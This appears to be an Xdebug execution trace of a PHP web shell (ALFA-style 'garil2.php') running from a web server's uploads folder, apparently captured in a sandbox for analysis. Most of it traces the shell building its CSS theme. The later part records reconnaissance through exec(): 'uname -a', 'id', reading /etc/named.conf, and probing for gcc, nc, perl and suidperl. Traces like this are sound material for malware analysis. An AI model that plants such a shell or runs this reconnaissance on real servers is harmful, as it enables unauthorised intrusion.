4		A						/var/www/html/uploads/garil2.php	633	$css .= 'select{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'select_box_text'
4		A						/var/www/html/uploads/garil2.php	630	$k = 'select'
5	291	0	0.133711	2816024	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'select_box_text'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
5	291	1	0.133741	2816024
5	291	R			'#FFFFEE'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFEE'
5	292	0	0.133764	2816024	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFEE'	'color: {color};'
5	292	1	0.133778	2816160
5	292	R			'color: #FFFFEE;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFEE;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= 'select{color: #FFFFEE;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'select_box:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = 'select:hover'
5	293	0	0.133834	2816008	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'select_box:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	293	1	0.133866	2816008
5	293	R			'#27979B'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#27979B'
5	294	0	0.133889	2816008	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	294	1	0.133905	2816184
5	294	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'button_border'
4		A						/var/www/html/uploads/garil2.php	630	$k = 'input[type=submit],.button,#addup'
5	295	0	0.133969	2816048	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'button_border'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
5	295	1	0.133999	2816048
5	295	R			'#27979B'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#27979B'
5	296	0	0.134023	2816048	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#27979B'	'border: 1px solid {color};'
5	296	1	0.134038	2816200
5	296	R			'border: 1px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'border: 1px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'button:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = 'input[type=submit]:hover'
5	297	0	0.134098	2816024	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'button:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	297	1	0.134135	2816024
5	297	R			'#27979B'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#27979B'
5	298	0	0.134159	2816024	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:2px solid {color};'
5	298	1	0.134175	2816200
5	298	R			'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.button:hover,#addup:hover'
5	299	0	0.134230	2816560	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'button:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	299	1	0.134262	2816560
5	299	R			'#27979B'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#27979B'
5	300	0	0.134285	2816560	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	300	1	0.134302	2816736
5	300	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'outputs_text'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.ml1'
5	301	0	0.134365	2816560	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'outputs_text'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
5	301	1	0.134394	2816560
5	301	R			'#67ABDF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#67ABDF'
5	302	0	0.134417	2816560	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#67ABDF'	'color: {color};'
5	302	1	0.134432	2816696
5	302	R			'color: #67ABDF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #67ABDF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.ml1{color: #67ABDF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'outputs_border'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.ml1'
5	303	0	0.134488	2816520	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'outputs_border'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
5	303	1	0.134518	2816520
5	303	R			'#0E304A'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0E304A'
5	304	0	0.134541	2816520	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0E304A'	'border: 1px solid {color};'
5	304	1	0.134557	2816672
5	304	R			'border: 1px solid #0E304A;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'border: 1px solid #0E304A;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.ml1{border: 1px solid #0E304A;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'uploader_border'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.inputfile'
5	305	0	0.134615	2816536	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'uploader_border'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	305	1	0.134647	2816536
5	305	R			'#0E304A'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0E304A'
5	306	0	0.134670	2816536	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0E304A'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	306	1	0.134686	2816712
5	306	R			'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'uploader_background'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.inputfile strong'
5	307	0	0.134752	2816560	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'uploader_background'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
5	307	1	0.134783	2816560
5	307	R			'#0E304A'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0E304A'
5	308	0	0.134807	2816560	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0E304A'	'background-color: {color};'
5	308	1	0.134822	2816712
5	308	R			'background-color: #0E304A;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: #0E304A;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.inputfile strong{background-color: #0E304A;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'uploader_text_right'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.inputfile strong'
5	309	0	0.134881	2816536	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'uploader_text_right'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
5	309	1	0.134910	2816536
5	309	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	310	0	0.134933	2816536	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};'
5	310	1	0.134948	2816672
5	310	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.inputfile strong{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'uploader_text_left'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.inputfile span'
5	311	0	0.135004	2816520	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'uploader_text_left'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
5	311	1	0.135034	2816520
5	311	R			'#25ff00'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#25ff00'
5	312	0	0.135058	2816520	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#25ff00'	'color: {color};'
5	312	1	0.135073	2816656
5	312	R			'color: #25ff00;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #25ff00;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.inputfile span{color: #25ff00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'uploader:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.inputfile:hover'
5	313	0	0.135129	2816520	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'uploader:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	313	1	0.135160	2816520
5	313	R			'#27979B'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#27979B'
5	314	0	0.135184	2816520	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	314	1	0.135200	2816696
5	314	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'uploader_progress_bar'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.up_bar'
5	315	0	0.135263	2816560	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'uploader_progress_bar'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
5	315	1	0.135296	2816560
5	315	R			'#00ff00'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#00ff00'
5	316	0	0.135319	2816560	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#00ff00'	'background-color: {color};'
5	316	1	0.135335	2816712
5	316	R			'background-color: #00ff00;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: #00ff00;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.up_bar{background-color: #00ff00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'mysql_tables'
5	317	0	0.135383	2816536	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'mysql_tables'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#00FF00'
5	317	1	0.135407	2816536
5	317	R			'#00FF00'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#00FF00'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.mysql_tables{color: #00FF00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'mysql_table_count'
5	318	0	0.135451	2816536	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'mysql_table_count'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#67ABDF'
5	318	1	0.135475	2816536
5	318	R			'#67ABDF'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#67ABDF'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.mysql_table_count{color: #67ABDF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'copyright'
5	319	0	0.135520	2816536	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'copyright'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#dfff00'
5	319	1	0.135543	2816536
5	319	R			'#dfff00'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#dfff00'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.copyright{color: #dfff00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'scrollbar'
4		A						/var/www/html/uploads/garil2.php	630	$k = '*::-webkit-scrollbar-thumb'
5	320	0	0.135598	2816536	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'scrollbar'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
5	320	1	0.135628	2816536
5	320	R			'#1e82b5'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#1e82b5'
5	321	0	0.135652	2816536	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#1e82b5'	'background-color: {color};'
5	321	1	0.135667	2816688
5	321	R			'background-color: #1e82b5;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: #1e82b5;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'scrollbar_background'
4		A						/var/www/html/uploads/garil2.php	630	$k = '*::-webkit-scrollbar-track'
5	322	0	0.135728	2817560	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'scrollbar_background'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
5	322	1	0.135759	2817560
5	322	R			'#000115'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#000115'
5	323	0	0.135782	2817560	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#000115'	'background-color: {color};'
5	323	1	0.135798	2817712
5	323	R			'background-color: #000115;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: #000115;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
4	192	1	0.135838	2817504
4	192	R			'.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
4	324	0	0.136066	2801120	htmlspecialchars	0		/var/www/html/uploads/garil2.php	1069	1	'/var/www/html/uploads/'
4	324	1	0.136082	2801312
4	324	R			'/var/www/html/uploads/'
4	325	0	0.136100	2801232	htmlspecialchars	0		/var/www/html/uploads/garil2.php	1070	1	'FilesMan2'
4	325	1	0.136114	2801424
4	325	R			'FilesMan2'
4	326	0	0.136129	2801280	htmlspecialchars	0		/var/www/html/uploads/garil2.php	1071	1	'Windows-1251'
4	326	1	0.136143	2801472
4	326	R			'Windows-1251'
4	327	0	0.136895	2813408	__showicon	1		/var/www/html/uploads/garil2.php	1082	1	'loader'
4		A						/var/www/html/uploads/garil2.php	1233	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/garil2.php	1234	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/garil2.php	1235	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	327	1	0.136953	2813408
4	327	R			'http://solevisible.com/images/loader.svg'
4	328	0	0.136970	2813408	alfaEx	1		/var/www/html/uploads/garil2.php	1083	4	'uname -a'	FALSE	FALSE	???
5	329	0	0.136985	2813408	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'uname -a'	FALSE
5		A						/var/www/html/uploads/garil2.php	754	$out = ''
6	330	0	0.137009	2813408	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
6	330	1	0.137023	2813448
6	330	R			TRUE
6	331	0	0.137040	2813432	exec	0		/var/www/html/uploads/garil2.php	758	2	'uname -a'	''
6	331	1	0.138273	2814192
6	331	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6	332	0	0.138305	2813968	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
6	332	1	0.138326	2814032
6	332	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5		A						/var/www/html/uploads/garil2.php	759	$out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5	329	1	0.138364	2813568
5	329	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4		A						/var/www/html/uploads/garil2.php	740	$data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4	328	1	0.138400	2813568
4	328	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
3		A						/var/www/html/uploads/garil2.php	1083	$cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4	333	0	0.138435	2813568	function_exists	0		/var/www/html/uploads/garil2.php	1084	1	'php_uname'
4	333	1	0.138449	2813608
4	333	R			TRUE
4	334	0	0.138462	2813568	php_uname	0		/var/www/html/uploads/garil2.php	1084	0
4	334	1	0.138476	2813680
4	334	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4	335	0	0.138494	2813680	substr	0		/var/www/html/uploads/garil2.php	1084	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
4	335	1	0.138511	2813776
4	335	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3		A						/var/www/html/uploads/garil2.php	1084	$uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3		A						/var/www/html/uploads/garil2.php	1094	$s = 1
3		A						/var/www/html/uploads/garil2.php	1094	$s++
3		A						/var/www/html/uploads/garil2.php	1094	$s++
3		A						/var/www/html/uploads/garil2.php	1094	$s++
3		A						/var/www/html/uploads/garil2.php	1094	$s++
3		A						/var/www/html/uploads/garil2.php	1094	$s++
3		A						/var/www/html/uploads/garil2.php	1094	$s++
3		A						/var/www/html/uploads/garil2.php	1094	$s++
3		A						/var/www/html/uploads/garil2.php	1094	$s++
3		A						/var/www/html/uploads/garil2.php	1094	$s++
3		A						/var/www/html/uploads/garil2.php	1094	$s++
4	336	0	0.138634	2814960	phpversion	0		/var/www/html/uploads/garil2.php	1112	0
4	336	1	0.138647	2815024
4	336	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
4	337	0	0.138664	2815472	date	0		/var/www/html/uploads/garil2.php	1120	1	'Y-m-d H:i:s'
4	337	1	0.138728	2817824
4	337	R			'2023-02-12 19:37:02'
4	338	0	0.138749	2815744	_alfa_file	1		/var/www/html/uploads/garil2.php	1126	2	'/etc/named.conf'	FALSE
5	339	0	0.138765	2815744	file	0		/var/www/html/uploads/garil2.php	2503	1	'/etc/named.conf'
5	339	1	0.138790	2815784
5	339	R			FALSE
4		A						/var/www/html/uploads/garil2.php	2503	$array = FALSE
5	340	0	0.138815	2815744	alfaEx	1		/var/www/html/uploads/garil2.php	2505	4	'id'	FALSE	FALSE	???
6	341	0	0.138829	2815744	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'id'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	342	0	0.138853	2815744	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	342	1	0.138866	2815784
7	342	R			TRUE
7	343	0	0.138879	2815768	exec	0		/var/www/html/uploads/garil2.php	758	2	'id'	''
7	343	1	0.140270	2816368
7	343	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7	344	0	0.140296	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
7	344	1	0.140314	2816288
7	344	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6		A						/var/www/html/uploads/garil2.php	759	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	341	1	0.140343	2815824
6	341	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/garil2.php	740	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	340	1	0.140383	2815824
5	340	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	345	0	0.140402	2815744	addslashes	0		/var/www/html/uploads/garil2.php	2506	1	'/etc/named.conf'
5	345	1	0.140416	2815776
5	345	R			'/etc/named.conf'
5	346	0	0.140431	2815792	alfaEx	1		/var/www/html/uploads/garil2.php	2506	4	'cat "/etc/named.conf"'	FALSE	FALSE	???
6	347	0	0.140449	2815792	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'cat "/etc/named.conf"'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	348	0	0.140490	2815792	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	348	1	0.140504	2815832
7	348	R			TRUE
7	349	0	0.140517	2815816	exec	0		/var/www/html/uploads/garil2.php	758	2	'cat "/etc/named.conf"'	''
7	349	1	0.141580	2815936
7	349	R			''
7	350	0	0.141603	2815872	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[]
7	350	1	0.141618	2815936
7	350	R			''
6		A						/var/www/html/uploads/garil2.php	759	$out = ''
6	347	1	0.141644	2815792
6	347	R			''
5		A						/var/www/html/uploads/garil2.php	740	$data = ''
5	346	1	0.141667	2815792
5	346	R			''
4		A						/var/www/html/uploads/garil2.php	2506	$data = ''
4	338	1	0.141690	2815744
4	338	R			FALSE
3		A						/var/www/html/uploads/garil2.php	1126	$d0mains = FALSE
3		A						/var/www/html/uploads/garil2.php	1127	GLOBALS['need_to_update_header'] = 'true'
4	351	0	0.141729	2815744	alfaSize	1		/var/www/html/uploads/garil2.php	1142	1	232015802368
5	352	0	0.141744	2815744	sprintf	0		/var/www/html/uploads/garil2.php	2407	2	'%1.2f'	216.08155441284
5	352	1	0.141760	2816128
5	352	R			'216.08'
4	351	1	0.141774	2815784
4	351	R			'216.08 GB'
4	353	0	0.141788	2815968	alfaSize	1		/var/www/html/uploads/garil2.php	1142	1	202662723584
5	354	0	0.141801	2815968	sprintf	0		/var/www/html/uploads/garil2.php	2407	2	'%1.2f'	188.74436950684
5	354	1	0.141815	2816352
5	354	R			'188.74'
4	353	1	0.141828	2816008
4	353	R			'188.74 GB'
3		A						/var/www/html/uploads/garil2.php	1145	$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
4	355	0	0.141863	2815744	ini_get	0		/var/www/html/uploads/garil2.php	1146	1	'safe_mode'
4	355	1	0.141876	2815776
4	355	R			FALSE
4	356	0	0.141890	2815744	alfaEx	1		/var/www/html/uploads/garil2.php	1147	4	'id'	FALSE	FALSE	???
5	357	0	0.141904	2815744	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'id'	FALSE
5		A						/var/www/html/uploads/garil2.php	754	$out = ''
6	358	0	0.141927	2815744	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
6	358	1	0.141981	2815784
6	358	R			TRUE
6	359	0	0.141995	2815768	exec	0		/var/www/html/uploads/garil2.php	758	2	'id'	''
6	359	1	0.143337	2816368
6	359	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	360	0	0.143363	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
6	360	1	0.143379	2816288
6	360	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/garil2.php	759	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	357	1	0.143409	2815824
5	357	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4		A						/var/www/html/uploads/garil2.php	740	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4	356	1	0.143437	2815824
4	356	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
3		A						/var/www/html/uploads/garil2.php	1149	$userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
3		A						/var/www/html/uploads/garil2.php	1150	$x = 0
4	361	0	0.143489	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'gcc'
5	362	0	0.143503	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which gcc'	FALSE	FALSE	???
6	363	0	0.143516	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which gcc'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	364	0	0.143541	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	364	1	0.143554	2815824
7	364	R			TRUE
7	365	0	0.143567	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which gcc'	''
7	365	1	0.144799	2816328
7	365	R			'/usr/bin/gcc'
7	366	0	0.144824	2816224	join	0		/var/www/html/uploads/garil2.php	759	2	'\n'	[0 => '/usr/bin/gcc']
7	366	1	0.144840	2816288
7	366	R			'/usr/bin/gcc'
6		A						/var/www/html/uploads/garil2.php	759	$out = '/usr/bin/gcc'
6	363	1	0.144867	2815824
6	363	R			'/usr/bin/gcc'
5		A						/var/www/html/uploads/garil2.php	740	$data = '/usr/bin/gcc'
5	362	1	0.144892	2815824
5	362	R			'/usr/bin/gcc'
4		A						/var/www/html/uploads/garil2.php	2400	$path = '/usr/bin/gcc'
4	361	1	0.144917	2815744
4	361	R			12
3		A						/var/www/html/uploads/garil2.php	1151	$x++
4	367	0	0.144941	2815744	alfaWhich	1		/var/www/html/uploads/garil2.php	1151	1	'lcc'
5	368	0	0.144954	2815784	alfaEx	1		/var/www/html/uploads/garil2.php	2400	4	'which lcc'	FALSE	FALSE	???
6	369	0	0.144968	2815784	_alfa_php_cmd	1		/var/www/html/uploads/garil2.php	740	2	'which lcc'	FALSE
6		A						/var/www/html/uploads/garil2.php	754	$out = ''
7	370	0	0.144992	2815784	function_exists	0		/var/www/html/uploads/garil2.php	757	1	'exec'
7	370	1	0.145006	2815824
7	370	R			TRUE
7	371	0	0.145019	2815808	exec	0		/var/www/html/uploads/garil2.php	758	2	'which lcc'	''
7	371	1	0.146162	2815928
7	371	R			''
